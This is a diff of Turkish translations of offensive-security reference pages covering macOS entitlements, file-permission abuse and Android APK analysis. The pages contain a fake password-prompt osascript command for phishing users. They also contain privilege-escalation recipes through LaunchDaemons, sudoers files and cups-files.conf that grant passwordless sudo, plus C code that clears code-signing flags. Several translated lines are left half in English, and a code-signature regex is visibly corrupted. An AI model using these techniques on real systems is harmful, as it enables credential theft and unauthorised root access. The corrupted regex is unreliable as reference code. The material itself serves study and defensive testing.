Bu yetki, **`com.apple.security.cs.debugger`** yetkisine sahip diğer süreçlerin, bu yetkiye sahip ikili tarafından çalıştırılan sürecin görev portunu almasına ve **kod enjekte etmesine** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
 | 
			
		||||
Bu yetki, **`com.apple.security.cs.debugger`** yetkisine sahip diğer süreçlerin, bu yetkiye sahip ikili dosya tarafından çalıştırılan sürecin görev portunu almasına ve **kod enjekte etmesine** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.cs.debugger`
 | 
			
		||||
 | 
			
		||||
Hata Ayıklama Aracı Yetkisine sahip uygulamalar, `task_for_pid()` çağrısı yaparak, `Get Task Allow` yetkisi `true` olarak ayarlanmış imzasız ve üçüncü taraf uygulamalar için geçerli bir görev portu alabilir. Ancak, hata ayıklama aracı yetkisi ile bile, bir hata ayıklayıcı **`Get Task Allow` yetkisine sahip olmayan** süreçlerin görev portlarını **alamaz** ve bu nedenle Sistem Bütünlüğü Koruması tarafından korunur. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
 | 
			
		||||
Hata Ayıklama Aracı Yetkisine sahip uygulamalar, `task_for_pid()` çağrısı yaparak, `Get Task Allow` yetkisi `true` olarak ayarlanmış imzasız ve üçüncü taraf uygulamalar için geçerli bir görev portu alabilir. Ancak, hata ayıklama aracı yetkisi olsa bile, bir hata ayıklayıcı **`Get Task Allow` yetkisine sahip olmayan** süreçlerin görev portlarını **alamaz** ve bu nedenle Sistem Bütünlüğü Koruması tarafından korunur. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.cs.disable-library-validation`
 | 
			
		||||
 | 
			
		||||
@ -54,7 +54,7 @@ Bir **çekirdek uzantısını** yüklemek için çekirdekten talepte bulunmak i
 | 
			
		||||
 | 
			
		||||
### **`com.apple.private.icloud-account-access`**
 | 
			
		||||
 | 
			
		||||
Yetki **`com.apple.private.icloud-account-access`**, **`com.apple.iCloudHelper`** XPC servisi ile iletişim kurmayı sağlar ve bu, **iCloud token'ları** sağlar.
 | 
			
		||||
Yetki **`com.apple.private.icloud-account-access`**, **`com.apple.iCloudHelper`** XPC servisi ile iletişim kurmayı sağlar ve bu da **iCloud token'ları** sağlar.
 | 
			
		||||
 | 
			
		||||
**iMovie** ve **Garageband** bu yetkiye sahipti.
 | 
			
		||||
 | 
			
		||||
@ -87,37 +87,37 @@ Bu yetki, uygulamanın erişim sağladığı **anahtar zinciri** gruplarını li
 | 
			
		||||
```
 | 
			
		||||
### **`kTCCServiceSystemPolicyAllFiles`**
 | 
			
		||||
 | 
			
		||||
**Tam Disk Erişimi** izinleri verir, sahip olabileceğiniz TCC'nin en yüksek izinlerinden biridir.
 | 
			
		||||
**Tam Disk Erişimi** izinlerini verir, sahip olabileceğiniz TCC'nin en yüksek izinlerinden biridir.
 | 
			
		||||
 | 
			
		||||
### **`kTCCServiceAppleEvents`**
 | 
			
		||||
 | 
			
		||||
Uygulamanın, **görevleri otomatikleştirmek** için yaygın olarak kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir.
 | 
			
		||||
Uygulamaya, **görevleri otomatikleştirmek** için yaygın olarak kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir.
 | 
			
		||||
 | 
			
		||||
Kullanıcıdan şifresini istemelerini sağlamak gibi:
 | 
			
		||||
```bash
 | 
			
		||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
 | 
			
		||||
```
 | 
			
		||||
Veya onları **keyfi eylemler** gerçekleştirmeye zorlamak.
 | 
			
		||||
Or making them perform **keyfi eylemler**.
 | 
			
		||||
 | 
			
		||||
### **`kTCCServiceEndpointSecurityClient`**
 | 
			
		||||
 | 
			
		||||
Diğer izinlerin yanı sıra, **kullanıcıların TCC veritabanını yazma** izni verir.
 | 
			
		||||
Kullanıcının TCC veritabanını **yazma** gibi izinler verir.
 | 
			
		||||
 | 
			
		||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
 | 
			
		||||
 | 
			
		||||
Bir kullanıcının ana dizin yolunu değiştiren **`NFSHomeDirectory`** niteliğini **değiştirmeye** izin verir ve böylece **TCC'yi atlatmaya** olanak tanır.
 | 
			
		||||
Kullanıcının ev dizin yolunu değiştiren **`NFSHomeDirectory`** niteliğini **değiştirmeye** izin verir ve böylece TCC'yi **bypass** etmeye olanak tanır.
 | 
			
		||||
 | 
			
		||||
### **`kTCCServiceSystemPolicyAppBundles`**
 | 
			
		||||
 | 
			
		||||
Uygulama paketinin içindeki dosyaları (app.app içinde) değiştirmeye izin verir, bu varsayılan olarak **yasaktır**.
 | 
			
		||||
Uygulama paketinin içindeki dosyaları değiştirmeye izin verir (app.app içinde), bu varsayılan olarak **yasaktır**.
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
Bu erişime sahip olanları kontrol etmek mümkündür _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi_.
 | 
			
		||||
Bu erişimi kimin sahip olduğunu _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi_ altında kontrol etmek mümkündür.
 | 
			
		||||
 | 
			
		||||
### `kTCCServiceAccessibility`
 | 
			
		||||
 | 
			
		||||
Bu süreç, **macOS erişilebilirlik özelliklerini kötüye kullanma** yeteneğine sahip olacaktır, bu da örneğin tuş vuruşlarını basabilmesi anlamına gelir. Böylece Finder gibi bir uygulamayı kontrol etmek için erişim talep edebilir ve bu izinle diyalogu onaylayabilir.
 | 
			
		||||
Bu süreç, **macOS erişilebilirlik özelliklerini kötüye kullanma** yeteneğine sahip olacak, bu da örneğin tuş vuruşlarını basabilmesi anlamına gelir. Böylece Finder gibi bir uygulamayı kontrol etmek için erişim talep edebilir ve bu izinle diyalogu onaylayabilir.
 | 
			
		||||
 | 
			
		||||
## Orta
 | 
			
		||||
 | 
			
		||||
@ -127,14 +127,14 @@ Bu yetki, `mmap()` sistem fonksiyonuna `MAP_JIT` bayrağını geçirerek **yazı
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
 | 
			
		||||
 | 
			
		||||
Bu yetki, **C kodunu geçersiz kılmaya veya yamanmaya** izin verir, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`** (temelde güvensizdir) veya **DVDPlayback** çerçevesini kullanmayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
 | 
			
		||||
Bu yetki, **C kodunu geçersiz kılmayı veya yamanmayı** sağlar, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`** (temelde güvensizdir) veya **DVDPlayback** çerçevesini kullanmayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Bu yetkiyi dahil etmek, uygulamanızı bellek güvensiz kod dillerindeki yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyacı olup olmadığını dikkatlice değerlendirin.
 | 
			
		||||
> Bu yetkiyi dahil etmek, uygulamanızı bellek-güvensiz kod dillerindeki yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyaç duyup duymadığını dikkatlice değerlendirin.
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.cs.disable-executable-page-protection`
 | 
			
		||||
 | 
			
		||||
Bu yetki, **diskteki kendi çalıştırılabilir dosyalarının bölümlerini değiştirmeye** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
 | 
			
		||||
Bu yetki, disk üzerindeki kendi çalıştırılabilir dosyalarının bölümlerini **değiştirmeye** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Çalıştırılabilir Bellek Koruma Yetkisini Devre Dışı Bırakmak, uygulamanızdan temel bir güvenlik korumasını kaldıran aşırı bir yetkidir ve bir saldırganın uygulamanızın çalıştırılabilir kodunu tespit edilmeden yeniden yazmasını mümkün kılar. Mümkünse daha dar yetkileri tercih edin.
 | 
			
		||||
@ -145,7 +145,7 @@ TODO
 | 
			
		||||
 | 
			
		||||
### `com.apple.private.nullfs_allow`
 | 
			
		||||
 | 
			
		||||
Bu yetki, bir nullfs dosya sistemini monte etmeye izin verir (varsayılan olarak yasaktır). Araç: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
 | 
			
		||||
Bu yetki, (varsayılan olarak yasak olan) bir nullfs dosya sistemini bağlamaya izin verir. Araç: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
 | 
			
		||||
 | 
			
		||||
### `kTCCServiceAll`
 | 
			
		||||
 | 
			
		||||
@ -161,3 +161,5 @@ Sürecin **tüm TCC izinlerini istemesine** izin verin.
 | 
			
		||||
### **`kTCCServicePostEvent`**
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
</details>
 | 
			
		||||
 | 
			
		||||
@ -6,11 +6,11 @@
 | 
			
		||||
 | 
			
		||||
Bir **dizindeki** izinler:
 | 
			
		||||
 | 
			
		||||
- **okuma** - dizin girişlerini **sıralayabilirsiniz**
 | 
			
		||||
- **okuma** - dizin girişlerini **listeleyebilirsiniz**
 | 
			
		||||
- **yazma** - dizindeki **dosyaları silip/yazabilirsiniz** ve **boş klasörleri** silebilirsiniz.
 | 
			
		||||
- Ancak **boş olmayan klasörleri** silip/değiştiremezsiniz, eğer üzerinde yazma izniniz yoksa.
 | 
			
		||||
- Bir klasörün adını **değiştiremezsiniz** eğer ona sahip değilseniz.
 | 
			
		||||
- **çalıştırma** - dizinde **gezinmenize izin verilir** - bu hakka sahip değilseniz, içindeki dosyalara veya alt dizinlere erişemezsiniz.
 | 
			
		||||
- Bir klasörün adını **değiştiremezsiniz**, eğer ona sahip değilseniz.
 | 
			
		||||
- **çalıştırma** - dizinde **geçiş yapmanıza izin verilir** - bu hakka sahip değilseniz, içindeki dosyalara veya alt dizinlere erişemezsiniz.
 | 
			
		||||
 | 
			
		||||
### Tehlikeli Kombinasyonlar
 | 
			
		||||
 | 
			
		||||
@ -24,7 +24,7 @@ Bir **dizindeki** izinler:
 | 
			
		||||
 | 
			
		||||
### Klasör root R+X Özel durumu
 | 
			
		||||
 | 
			
		||||
Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizide** dosyalar varsa, bu dosyalar **başka kimseye erişilebilir değildir**. Bu nedenle, bir kullanıcının okuyabileceği bir dosyayı, bu **kısıtlama** nedeniyle okunamayan bir klasörden **farklı birine** **taşıma** izni veren bir güvenlik açığı, bu dosyaları okumak için kötüye kullanılabilir.
 | 
			
		||||
Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizide** dosyalar varsa, bunlar **başka kimseye erişilebilir değildir**. Bu nedenle, bir kullanıcının okuyabileceği bir dosyayı, bu **kısıtlama** nedeniyle okunamayan bir dosyayı bu klasörden **farklı birine** **taşımasına** izin veren bir güvenlik açığı, bu dosyaları okumak için kötüye kullanılabilir.
 | 
			
		||||
 | 
			
		||||
Örnek: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
 | 
			
		||||
 | 
			
		||||
@ -32,13 +32,13 @@ Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizide** dosyalar
 | 
			
		||||
 | 
			
		||||
### İzinli dosya/klasör
 | 
			
		||||
 | 
			
		||||
Eğer ayrıcalıklı bir işlem, **daha düşük ayrıcalıklı bir kullanıcı** tarafından **kontrol edilebilecek** veya daha düşük ayrıcalıklı bir kullanıcı tarafından **önceden oluşturulmuş** bir **dosyaya** veri yazıyorsa. Kullanıcı, sadece bir Sembolik veya Sert bağlantı aracılığıyla onu başka bir dosyaya **işaret edebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır.
 | 
			
		||||
Eğer ayrıcalıklı bir işlem, **daha düşük ayrıcalıklı bir kullanıcı** tarafından **kontrol edilebilecek** bir **dosyaya** veri yazıyorsa veya daha düşük ayrıcalıklı bir kullanıcı tarafından **önceden oluşturulmuş** bir dosyaya yazıyorsa. Kullanıcı, sadece bir Sembolik veya Sert bağlantı aracılığıyla **başka bir dosyaya** **işaret edebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır.
 | 
			
		||||
 | 
			
		||||
Bir saldırganın **ayrıcalıkları artırmak için keyfi bir yazmayı nasıl kötüye kullanabileceğini** kontrol edin.
 | 
			
		||||
 | 
			
		||||
### Açık `O_NOFOLLOW`
 | 
			
		||||
 | 
			
		||||
`open` fonksiyonu tarafından kullanıldığında `O_NOFOLLOW` bayrağı, son yol bileşenindeki bir sembolik bağlantıyı takip etmeyecek, ancak yolun geri kalanını takip edecektir. Yolda sembolik bağlantıları takip etmeyi önlemenin doğru yolu `O_NOFOLLOW_ANY` bayrağını kullanmaktır.
 | 
			
		||||
`open` fonksiyonu tarafından kullanılan `O_NOFOLLOW` bayrağı, son yol bileşenindeki bir sembolik bağlantıyı takip etmeyecek, ancak yolun geri kalanını takip edecektir. Yolda sembolik bağlantıları takip etmeyi önlemenin doğru yolu `O_NOFOLLOW_ANY` bayrağını kullanmaktır.
 | 
			
		||||
 | 
			
		||||
## .fileloc
 | 
			
		||||
 | 
			
		||||
@ -86,7 +86,7 @@ ls -lO /tmp/asd
 | 
			
		||||
```
 | 
			
		||||
### defvfs mount
 | 
			
		||||
 | 
			
		||||
Bir **devfs** montajı **xattr** desteklemez, daha fazla bilgi için [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
 | 
			
		||||
Bir **devfs** montajı **xattr**'ı desteklemez, daha fazla bilgi için [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
 | 
			
		||||
```bash
 | 
			
		||||
mkdir /tmp/mnt
 | 
			
		||||
mount_devfs -o noowners none "/tmp/mnt"
 | 
			
		||||
@ -122,7 +122,7 @@ ls -le /tmp/test
 | 
			
		||||
 | 
			
		||||
**AppleDouble** dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar.
 | 
			
		||||
 | 
			
		||||
[**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebilir ki, xattr içinde saklanan ACL metin temsili **`com.apple.acl.text`** olarak adlandırılır ve bu, sıkıştırılmamış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL'nin diğer xattr'lerin yazılmasını engellediği bir zip dosyasına **AppleDouble** dosya formatı ile sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı:
 | 
			
		||||
[**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebilir ki, xattr içinde saklanan ACL metin temsili **`com.apple.acl.text`** olarak adlandırılır ve bu, sıkıştırılmamış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL'nin diğer xattr'ların yazılmasını engellediği bir zip dosyasına **AppleDouble** dosya formatı ile sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı:
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi için [**orijinal raporu**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kontrol edin.
 | 
			
		||||
 | 
			
		||||
@ -144,7 +144,9 @@ ditto -c -k del test.zip
 | 
			
		||||
ditto -x -k --rsrc test.zip .
 | 
			
		||||
ls -le test
 | 
			
		||||
```
 | 
			
		||||
(Not edinmesi gerekmez ama yine de burada bırakıyorum, her ihtimale karşı:)
 | 
			
		||||
(Note that even if this works the sandbox write the quarantine xattr before)
 | 
			
		||||
 | 
			
		||||
Not really needed but I leave it there just in case:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
macos-xattr-acls-extra-stuff.md
 | 
			
		||||
@ -154,11 +156,11 @@ macos-xattr-acls-extra-stuff.md
 | 
			
		||||
 | 
			
		||||
### Platform ikili dosyası kontrollerini atlama
 | 
			
		||||
 | 
			
		||||
Bazı güvenlik kontrolleri, ikilinin bir **platform ikili dosyası** olup olmadığını kontrol eder, örneğin bir XPC hizmetine bağlanmaya izin vermek için. Ancak, https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ adresinde açıklandığı gibi, bu kontrolü atlamak mümkündür; bir platform ikili dosyası (örneğin /bin/ls) alarak ve istismarı dyld aracılığıyla `DYLD_INSERT_LIBRARIES` ortam değişkenini kullanarak enjekte ederek.
 | 
			
		||||
Bazı güvenlik kontrolleri, ikilinin bir **platform ikili dosyası** olup olmadığını kontrol eder; örneğin, bir XPC hizmetine bağlanmaya izin vermek için. Ancak, https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ adresinde açıklandığı gibi, bu kontrolü atlamak mümkündür; bir platform ikili dosyası (örneğin /bin/ls) alarak ve istismarı dyld aracılığıyla bir ortam değişkeni `DYLD_INSERT_LIBRARIES` kullanarak enjekte ederek.
 | 
			
		||||
 | 
			
		||||
### `CS_REQUIRE_LV` ve `CS_FORCED_LV` bayraklarını atlama
 | 
			
		||||
 | 
			
		||||
Bir yürütme halindeki ikilinin, bir kod ile kendi bayraklarını değiştirmesi mümkündür:
 | 
			
		||||
Bir yürütülen ikilinin, kontrolleri atlamak için kendi bayraklarını değiştirmesi mümkündür; böyle bir kod ile:
 | 
			
		||||
```c
 | 
			
		||||
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
 | 
			
		||||
int pid = getpid();
 | 
			
		||||
@ -173,9 +175,9 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
 | 
			
		||||
```
 | 
			
		||||
## Bypass Code Signatures
 | 
			
		||||
 | 
			
		||||
Bundles, **`_CodeSignature/CodeResources`** dosyasını içerir ve bu dosya **bundle** içindeki her bir **dosya**nın **hash**'ini barındırır. CodeResources'ın hash'inin de **çalıştırılabilir dosya**ya **gömülü** olduğunu unutmayın, bu yüzden bununla da oynayamayız.
 | 
			
		||||
Bundles, **`_CodeSignature/CodeResources`** dosyasını içerir ve bu dosya **bundle** içindeki her bir **dosyanın** **hash**'ini barındırır. CodeResources'ın hash'inin de **çalıştırılabilir dosya** içinde **gömülü** olduğunu unutmayın, bu yüzden bununla da oynayamayız.
 | 
			
		||||
 | 
			
		||||
Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahip olanlardır, örneğin:
 | 
			
		||||
Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin:
 | 
			
		||||
```xml
 | 
			
		||||
<dict>
 | 
			
		||||
...
 | 
			
		||||
@ -193,7 +195,7 @@ Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit
 | 
			
		||||
</dict>
 | 
			
		||||
<key>rules2</key>
 | 
			
		||||
...
 | 
			
		||||
<key>^(.*/)?\.DS_Store$</key>
 | 
			
		||||
<key>^(.*/index.html)?\.DS_Store$</key>
 | 
			
		||||
<dict>
 | 
			
		||||
<key>omit</key>
 | 
			
		||||
<true/>
 | 
			
		||||
@ -276,41 +278,41 @@ Keyfi bir **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hackt
 | 
			
		||||
</dict>
 | 
			
		||||
</plist>
 | 
			
		||||
```
 | 
			
		||||
Sadece kök olarak çalıştırmak istediğiniz **komutları** içeren `/Applications/Scripts/privesc.sh` dosyasını oluşturun.
 | 
			
		||||
Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root.
 | 
			
		||||
 | 
			
		||||
### Sudoers Dosyası
 | 
			
		||||
 | 
			
		||||
Eğer **keyfi yazma** erişiminiz varsa, kendinize **sudo** ayrıcalıkları veren bir dosya oluşturabilirsiniz **`/etc/sudoers.d/`** klasörü içinde.
 | 
			
		||||
Eğer **keyfi yazma** yetkiniz varsa, kendinize **sudo** ayrıcalıkları veren bir dosya oluşturabilirsiniz **`/etc/sudoers.d/`** klasörü içinde.
 | 
			
		||||
 | 
			
		||||
### PATH dosyaları
 | 
			
		||||
 | 
			
		||||
**`/etc/paths`** dosyası, PATH env değişkenini dolduran ana yerlerden biridir. Üzerine yazmak için kök olmalısınız, ancak eğer **ayrıca ayrıcalıklı bir işlem** bir **komutu tam yol olmadan** çalıştırıyorsa, bu dosyayı değiştirerek **ele geçirme** şansınız olabilir.
 | 
			
		||||
**`/etc/paths`** dosyası, PATH env değişkenini dolduran ana yerlerden biridir. Üzerine yazmak için root olmalısınız, ancak eğer **yetkili bir işlem** bir **komutu tam yol olmadan** çalıştırıyorsa, bu dosyayı değiştirerek onu **ele geçirme** şansınız olabilir.
 | 
			
		||||
 | 
			
		||||
Ayrıca `PATH` env değişkenine yeni klasörler yüklemek için **`/etc/paths.d`** içinde dosyalar yazabilirsiniz.
 | 
			
		||||
Ayrıca, `PATH` env değişkenine yeni klasörler yüklemek için **`/etc/paths.d`** içinde dosyalar yazabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### cups-files.conf
 | 
			
		||||
 | 
			
		||||
Bu teknik [bu yazıda](https://www.kandji.io/blog/macos-audit-story-part1) kullanılmıştır.
 | 
			
		||||
 | 
			
		||||
Aşağıdaki içeriği içeren `/etc/cups/cups-files.conf` dosyasını oluşturun:
 | 
			
		||||
Aşağıdaki içeriğe sahip `/etc/cups/cups-files.conf` dosyasını oluşturun:
 | 
			
		||||
```
 | 
			
		||||
ErrorLog /etc/sudoers.d/lpe
 | 
			
		||||
LogFilePerm 777
 | 
			
		||||
<some junk>
 | 
			
		||||
```
 | 
			
		||||
Bu, `/etc/sudoers.d/lpe` dosyasını 777 izinleriyle oluşturacaktır. Sonundaki ekstra gereksiz kısım, hata günlüğü oluşturulmasını tetiklemek içindir.
 | 
			
		||||
Bu, izinleri 777 olan `/etc/sudoers.d/lpe` dosyasını oluşturacaktır. Sonundaki ekstra gereksizlik, hata günlüğü oluşturmayı tetiklemek içindir.
 | 
			
		||||
 | 
			
		||||
Ardından, `/etc/sudoers.d/lpe` dosyasına, ayrıcalıkları artırmak için gereken yapılandırmayı yazın, örneğin `%staff ALL=(ALL) NOPASSWD:ALL`.
 | 
			
		||||
Ardından, `/etc/sudoers.d/lpe` dosyasına `%staff ALL=(ALL) NOPASSWD:ALL` gibi ayrıcalıkları artırmak için gerekli yapılandırmayı yazın.
 | 
			
		||||
 | 
			
		||||
Daha sonra, `/etc/cups/cups-files.conf` dosyasını tekrar değiştirin ve `LogFilePerm 700` belirterek yeni sudoers dosyasının geçerli olmasını sağlayın ve `cupsctl` çağrısını yapın.
 | 
			
		||||
Daha sonra, yeni sudoers dosyasının geçerli olmasını sağlamak için `/etc/cups/cups-files.conf` dosyasını tekrar değiştirin ve `LogFilePerm 700` belirtin, böylece `cupsctl` çağrıldığında geçerli olur.
 | 
			
		||||
 | 
			
		||||
### Sandbox Kaçışı
 | 
			
		||||
 | 
			
		||||
macOS sandbox'ından FS rastgele yazma ile kaçmak mümkündür. Bazı örnekler için [macOS Auto Start](../../../../macos-auto-start-locations.md) sayfasına bakın, ancak yaygın bir örnek, başlangıçta bir komut çalıştıran `~/Library/Preferences/com.apple.Terminal.plist` dosyasına bir Terminal tercih dosyası yazmaktır ve bunu `open` kullanarak çağırmaktır.
 | 
			
		||||
macOS sandbox'ından FS rastgele yazma ile kaçmak mümkündür. Bazı örnekler için [macOS Auto Start](../../../../macos-auto-start-locations.md) sayfasına bakın, ancak yaygın bir örnek, başlangıçta bir komut çalıştıran `~/Library/Preferences/com.apple.Terminal.plist` içinde bir Terminal tercih dosyası yazmaktır ve bunu `open` kullanarak çağırmaktır.
 | 
			
		||||
 | 
			
		||||
## Diğer kullanıcılar olarak yazılabilir dosyalar oluşturma
 | 
			
		||||
 | 
			
		||||
Bu, benim yazabileceğim bir dosya oluşturacaktır ve bu dosya root'a aittir ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Bu aynı zamanda ayrıcalık artırma olarak da çalışabilir:
 | 
			
		||||
Bu, benim yazabileceğim bir dosya oluşturacaktır ve bu dosya root'a aittir ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Bu ayrıca ayrıcalık artırma olarak da çalışabilir:
 | 
			
		||||
```bash
 | 
			
		||||
DIRNAME=/usr/local/etc/periodic/daily
 | 
			
		||||
 | 
			
		||||
@ -422,11 +424,11 @@ return 0;
 | 
			
		||||
 | 
			
		||||
**macOS korunan tanımlayıcılar**, kullanıcı uygulamalarındaki **dosya tanımlayıcı işlemlerinin** güvenliğini ve güvenilirliğini artırmak için macOS'ta tanıtılan bir güvenlik özelliğidir. Bu korunan tanımlayıcılar, dosya tanımlayıcılarıyla belirli kısıtlamalar veya "korumalar" ilişkilendirme yolu sağlar ve bu kısıtlamalar çekirdek tarafından uygulanır.
 | 
			
		||||
 | 
			
		||||
Bu özellik, **yetkisiz dosya erişimi** veya **yarış koşulları** gibi belirli güvenlik açıklarının önlenmesi için özellikle yararlıdır. Bu güvenlik açıkları, örneğin bir iş parçacığı bir dosya tanımına erişirken **başka bir savunmasız iş parçacığına erişim vermesi** veya bir dosya tanımlayıcısının savunmasız bir çocuk süreç tarafından **devralınması** durumunda ortaya çıkar. Bu işlevsellik ile ilgili bazı fonksiyonlar şunlardır:
 | 
			
		||||
Bu özellik, **yetkisiz dosya erişimi** veya **yarış koşulları** gibi belirli güvenlik açıklarını önlemek için özellikle yararlıdır. Bu güvenlik açıkları, örneğin bir iş parçacığı bir dosya tanımına eriştiğinde **başka bir savunmasız iş parçacığına erişim vermesi** veya bir dosya tanımlayıcısının savunmasız bir çocuk süreç tarafından **devralınması** durumunda ortaya çıkar. Bu işlevselliğe ilişkin bazı fonksiyonlar şunlardır:
 | 
			
		||||
 | 
			
		||||
- `guarded_open_np`: Bir koruma ile FD açar
 | 
			
		||||
- `guarded_close_np`: Kapatır
 | 
			
		||||
- `change_fdguard_np`: Bir tanımlayıcı üzerindeki koruma bayraklarını değiştirir (hatta koruma kaldırılabilir)
 | 
			
		||||
- `change_fdguard_np`: Bir tanımlayıcı üzerindeki koruma bayraklarını değiştirir (koruma kaldırma dahil)
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -20,11 +20,11 @@ ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutlar
 | 
			
		||||
## Smali
 | 
			
		||||
 | 
			
		||||
Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden compile etmek ilginç olabilir.\
 | 
			
		||||
[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden compile etmeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
 | 
			
		||||
[**Bu eğitimde** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden compile edeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
 | 
			
		||||
 | 
			
		||||
## Diğer ilginç ipuçları
 | 
			
		||||
 | 
			
		||||
- [Play Store'da konumunuzu sahtelemek](spoofing-your-location-in-play-store.md)
 | 
			
		||||
- [Play Store'da konumunuzu sahteleyin](spoofing-your-location-in-play-store.md)
 | 
			
		||||
- **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
 | 
			
		||||
- Cihazdan APK çıkarın:
 | 
			
		||||
```bash
 | 
			
		||||
@ -47,12 +47,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 | 
			
		||||
```
 | 
			
		||||
## Statik Analiz
 | 
